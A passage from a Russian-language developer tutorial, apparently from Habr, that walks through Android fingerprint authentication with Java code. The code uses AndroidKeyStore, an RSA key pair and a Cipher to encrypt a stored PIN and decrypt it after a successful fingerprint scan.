checkFingerprintCompatibility(@NonNull Context context) { return FingerprintManagerCompat.from(context).isHardwareDetected(); } FingerprintManagerCompat — это удобная обертка для обычного FingerprintManager’а , которая упрощает проверку устройства на совместимость, инкапсулируя в себе проверку версии API. В данном случае, isHardwareDetected() вернет false , если API ниже 23. Дальше, нам нужно понять, готов ли сенсор к использованию. Для этого определим enum состояний: public enum SensorState { NOT_SUPPORTED, NOT_BLOCKED, // если устройство не защищено пином, рисунком или паролем NO_FINGERPRINTS, // если на устройстве нет отпечатков READY } И воспользуемся методом: public static SensorState checkSensorState(@NonNull Context context) { if (checkFingerprintCompatibility(context)) { KeyguardManager keyguardManager = (KeyguardManager) context.getSystemService(KEYGUARD_SERVICE); if (!keyguardManager.isKeyguardSecure()) { return SensorState.NOT_BLOCKED; } FingerprintManagerCompat fingerprintManager = FingerprintManagerCompat.from(context); if (!fingerprintManager.hasEnrolledFingerprints()) { return SensorState.NO_FINGERPRINTS; } return SensorState.READY; } else { return SensorState.NOT_SUPPORTED; } } Код достаточно тривиальный. Небольшое недопонимание может вызвать момент, когда мы проверяем заблокировано ли устройство. Нам нужна эта проверка, так как, хоть Android и не позволяет добавлять отпечатки в незащищенное устройство, некоторые производители это обходят, поэтому подстраховаться не помешает. Различные состояния можно использовать для того, чтобы дать пользователю понять, что происходит и направить его на путь истинный. Подготовка Итак, не зацикливаясь на проверке пин-кода на валидность, прикинем следующую упрощенную логику действий: Пользователь вводит пин-код, если SensorState.READY , то мы сохраняем пин-код, запускаем MainActivity . Рестартим приложение, если SensorState.READY , то считываем отпечаток, достаем пин-код, имитируем его ввод, запускаем MainActivity . Схема была бы достаточно простой, если бы не одно но: Гугл настойчиво рекомендует не хранить приватные данные пользователя в открытом виде. Поэтому нам нужен механизм шифровки и расшифровки для, соответственно, сохранения и использования. Займемся этим. Что нам нужно для шифровки и расшифровки: Защищенное хранилище для ключей. Криптографический ключ. Шифровальщик Хранилище Для работы с отпечатками система предоставляет нам свой кейстор — “AndroidKeyStore” и гарантирует защиту от несанкционированного доступа. Воспользуемся им: private static KeyStore sKeyStore; private static boolean getKeyStore() { try { sKeyStore = KeyStore.getInstance("AndroidKeyStore"); sKeyStore.load(null); return true; } catch (KeyStoreException | IOException | NoSuchAlgorithmException | CertificateException e) { e.printStackTrace(); } return false; } Следует принять, понять и простить, что кейстор хранит только криптографические ключи . Пароли, пин и другие приватные данные там хранить нельзя. Ключ На выбор у нас два варианта ключей: симметричный ключ и пара из публичного и приватного ключа. Из соображений UX мы воспользуемся парой. Это позволит нам отделить ввод отпечатка от шифрования пин-кода. Ключи мы будем доставать из кейстора, но сначала нужно их туда положить. Для создания ключа воспользуемся генератором . private static KeyPairGenerator sKeyPairGenerator; private static boolean getKeyPairGenerator() { try { sKeyPairGenerator = KeyPairGenerator.getInstance(KeyProperties.KEY_ALGORITHM_RSA, "AndroidKeyStore"); return true; } catch (NoSuchAlgorithmException | NoSuchProviderException e) { e.printStackTrace(); } return false; } При инициализации мы указываем, в какой кейстор пойдут сгенерированные ключи и для какого алгоритма предназначен этот ключ. Сама же генерация происходит следующим образом: private static boolean generateNewKey() { if (getKeyPairGenerator()) { try { sKeyPairGenerator.initialize(new KeyGenParameterSpec.Builder(KEY_ALIAS, KeyProperties.PURPOSE_ENCRYPT | KeyProperties.PURPOSE_DECRYPT) .setDigests(KeyProperties.DIGEST_SHA256, KeyProperties.DIGEST_SHA512) .setEncryptionPaddings(KeyProperties.ENCRYPTION_PADDING_RSA_OAEP) .setUserAuthenticationRequired(true) .build()); sKeyPairGenerator.generateKeyPair(); return true; } catch (InvalidAlgorithmParameterException e) { e.printStackTrace(); } } return false; } Здесь следует обратить внимание на два места: KEY_ALIAS — это псевдоним ключа, по которому мы будем выдергивать его из кейстора, обычный psfs. .setUserAuthenticationRequired(true) — этот флаг указывает, что каждый раз, когда нам нужно будет воспользоваться ключом, нужно будет подтвердить себя, в нашем случае — с помощью отпечатка. Проверять наличие ключа будем следующим образом: private static boolean isKeyReady() { try { return sKeyStore.containsAlias(KEY_ALIAS) || generateNewKey(); } catch (KeyStoreException e) { e.printStackTrace(); } return false; } Шифровальщик Шифровкой и дешифровкой в Java занимается объект Cipher . Инициализируем его: private static Cipher sCipher; private static boolean getCipher() { try { sCipher = Cipher.getInstance("RSA/ECB/OAEPWithSHA-256AndMGF1Padding"); return true; } catch (NoSuchAlgorithmException | NoSuchPaddingException e) { e.printStackTrace(); } return false; } Адовая мешанина в аргументе — это строка трансформации, которая включает в себя алгоритм , режим смешивания и дополнение . После того, как мы получили Cipher , нужно подготовить его к работе. При генерации ключа мы указали, что будем использовать его только для шифровки и расшифровки. Соответственно, Cipher тоже будет для этих целей: private static boolean initCipher(int mode) { try { sKeyStore.load(null); switch (mode) { case Cipher.ENCRYPT_MODE: initEncodeCipher(mode); break; case Cipher.DECRYPT_MODE: initDecodeCipher(mode); break; default: return false; //this cipher is only for encode\decode } return true; } catch (KeyPermanentlyInvalidatedException exception) { deleteInvalidKey(); } catch (KeyStoreException | CertificateException | UnrecoverableKeyException | IOException | NoSuchAlgorithmException | InvalidKeyException | InvalidKeySpecException | InvalidAlgorithmParameterException e) { e.printStackTrace(); } return false; } где initDecodeCipher() и initEncodeCiper() следующие: private static void initDecodeCipher(int mode) throws KeyStoreException, NoSuchAlgorithmException, UnrecoverableKeyException, InvalidKeyException { PrivateKey key = (PrivateKey) sKeyStore.getKey(KEY_ALIAS, null); sCipher.init(mode, key); } private static void initEncodeCipher(int mode) throws KeyStoreException, InvalidKeySpecException, NoSuchAlgorithmException, InvalidKeyException, InvalidAlgorithmParameterException { PublicKey key = sKeyStore.getCertificate(KEY_ALIAS).getPublicKey(); PublicKey unrestricted = KeyFactory.getInstance(key.getAlgorithm()).generatePublic(new X509EncodedKeySpec(key.getEncoded())); OAEPParameterSpec spec = new OAEPParameterSpec("SHA-256", "MGF1", MGF1ParameterSpec.SHA1, PSource.PSpecified.DEFAULT); sCipher.init(mode, unrestricted, spec); } Нетрудно заметить, что зашифровывающий Cipher несколько сложнее инициализировать. Это косяк самого Гугла, суть которого в том, что публичный ключ требует подтверждения пользователя. Мы обходим это требование с помощью слепка ключа ( костыль , ага). Момент с KeyPermanentlyInvalidatedException — если по какой-то причине ключ нельзя использовать, выстреливает это исключение. Возможные причины — добавление нового отпечатка к существующему, смена или полное удаление блокировки. Тогда ключ более не имеет смысла хранить, и мы его удаляем. public static void deleteInvalidKey() { if (getKeyStore()) { try { sKeyStore.deleteEntry(KEY_ALIAS); } catch (KeyStoreException e) { e.printStackTrace(); } } } Метод, который собирает всю цепочку подготовки: private static boolean prepare() { return getKeyStore() && getCipher() && isKeyReady(); } Шифровка и расшифровка Опишем метод, который зашифровывает строку аргумент: public static String encode(String inputString) { try { if (prepare() && initCipher(Cipher.ENCRYPT_MODE)) { byte[] bytes = sCipher.doFinal(inputString.getBytes()); return Base64.encodeToString(bytes, Base64.NO_WRAP); } } catch (IllegalBlockSizeException | BadPaddingException exception) { exception.printStackTrace(); } return null; } В результате мы получаем Base64 -строку, которую можно спокойно хранить в преференсах приложения. Для расшифровки же используем следующий метод: public static String decode(String encodedString, Cipher cipherDecrypter) { try { byte[] bytes = Base64.decode(encodedString, Base64.NO_WRAP); return new String(cipherDecrypter.doFinal(bytes)); } catch (IllegalBlockSizeException | BadPaddingException exception) { exception.printStackTrace(); } return null; } Опа, на вход он получает не только зашифрованную строку, но и объект Cipher . Откуда он там взялся, станет ясно позднее. Не тот палец Для того чтобы наконец использовать сенсор, нужно воспользоваться методом FingerprintManagerCompat : void authenticate (FingerprintManagerCompat.CryptoObject crypto, CancellationSignal cancel, int flags, FingerprintManagerCompat.AuthenticationCallback callback, Handler handler) Хендлер и флаги нам сейчас не нужны, сигнал используется, чтобы отменить режим считывания отпечатков (при сворачивании приложения, например), коллбеки возвращают результат конкретного считывания, а вот над криптообъектом остановимся поподробнее. CryptoObject в данном случае используется как обертка для Cipher'a . Чтобы его получить, используем метод: public static FingerprintManagerCompat.CryptoObject getCryptoObject() { if (prepare() && initCipher(Cipher.DECRYPT_MODE)) { return new FingerprintManagerCompat.CryptoObject(sCipher); } return null; } Как видно из кода, криптообъект создается из расшифровывающего Cipher . Если этот Cipher прямо сейчас отправить в метод decode() , то вылетит исключение, оповещающее о том, что мы пытаемся использовать ключ без подтверждения. Строго говоря, мы создаем криптообъект и отправляем его на вход в authenticate() как раз для получения этого самого подтверждения. Если getCryptoObject() вернул null , то это значит, что при инициализации Chiper 'а произошел KeyPermanentlyInvalidatedException . Тут уже ничего не поделаешь, кроме как дать пользователю знать, что вход по отпечатку недоступен и ему придется заново ввести пин-код. Как я уже говорил, результаты считывания сенсора мы получаем в методах коллбека . Вот как они выглядят: @Override public void onAuthenticationHelp(int helpCode, CharSequence helpString) { //грязные пальчики, недостаточно сильный зажим //можно показать helpString в виде тоста } @Override public void onAuthenticationFailed() { //отпечаток считался, но не распознался } @Override public void onAuthenticationError(int errorCode, CharSequence errString) { //несколько неудачных попыток считывания (5) //после этого сенсор станет недоступным на некоторое время (30 сек) } @Override public void onAuthenticationSucceeded(@NonNull FingerprintManagerCompat.AuthenticationResult result) { //все прошло успешно } В случае успешного распознавания мы получаем AuthenticationResult , из которого можем достать объект Cipher c уже подтвержденным ключом: result.getCryptoObject().getCipher() Теперь можно с чистой совестью отправить его на вход в decode() , получить пин-код, сымитировать его ввод и показать пользователю его данные. На этом на сегодня всё, замечания, комментарии, предложения и вопросы приветствуются. Простейший вариант работы кода можете посмотреть на гитхабе . Спасибо за внимание.
https://habrahabr.ru/company/e-Legion/blog/317706/